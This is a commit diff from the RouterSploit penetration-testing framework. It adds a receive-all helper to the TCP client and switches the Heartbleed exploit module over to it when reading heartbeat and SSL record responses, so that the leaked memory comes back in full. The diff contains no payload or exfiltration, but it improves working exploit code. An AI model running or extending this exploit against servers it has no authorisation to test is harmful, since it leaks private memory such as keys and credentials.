Improve TCP communication (#478)

* Fixing TCP communication

routersploit/core/tcp/tcp_client.py

@@ -57,6 +57,18 @@ class TCPClient(Exploit):
     def tcp_recv(self, tcp_client, num):
         if tcp_client:
             try:
+                response = tcp_client.recv(num)
+                return response
+            except socket.timeout:
+                print_error("Socket did timeout", verbose=self.verbosity)
+            except socket.error:
+                print_error("Socket error", verbose=self.verbosity)
+
+        return None
+
+    def tcp_recv_all(self, tcp_client, num):
+        if tcp_client:
+            try:
                 response = b""
                 received = 0
                 while received < num:

routersploit/modules/exploits/generic/heartbleed.py

@@ -173,7 +173,7 @@ class Exploit(TCPClient):
         print_status("Sending Heartbeat...")
         heartbeat_req = self.heartbeat_request(self.heartbeat_length)
         self.tcp_send(self.tcp_client, heartbeat_req)
-        hdr = self.tcp_recv(self.tcp_client, self.SSL_RECORD_HEADER_SIZE)
+        hdr = self.tcp_recv_all(self.tcp_client, self.SSL_RECORD_HEADER_SIZE)
         if not hdr:
             print_error("No Heartbeat response...")
             return False
@@ -184,7 +184,7 @@ class Exploit(TCPClient):
             print_error("Unexpected Hearbeat response header")
             self.tcp_close(self.tcp_client)
 
-        heartbeat_data = self.tcp_recv(self.tcp_client, self.heartbeat_length)
+        heartbeat_data = self.tcp_recv_all(self.tcp_client, self.heartbeat_length)
         if heartbeat_data:
             print_success("Heartbeat response, {} bytes".format(len(heartbeat_data)))
         else:
@@ -303,11 +303,11 @@ class Exploit(TCPClient):
             already_read = already_read + single_cert_len + 3
 
     def get_ssl_record(self):
-        hdr = self.tcp_recv(self.tcp_client, self.SSL_RECORD_HEADER_SIZE)
+        hdr = self.tcp_recv_all(self.tcp_client, self.SSL_RECORD_HEADER_SIZE)
 
         if hdr:
             length = unpack(">BHH", hdr)[2]
-            data = self.tcp_recv(self.tcp_client, length)
+            data = self.tcp_recv_all(self.tcp_client, length)
             hdr += data
 
             return hdr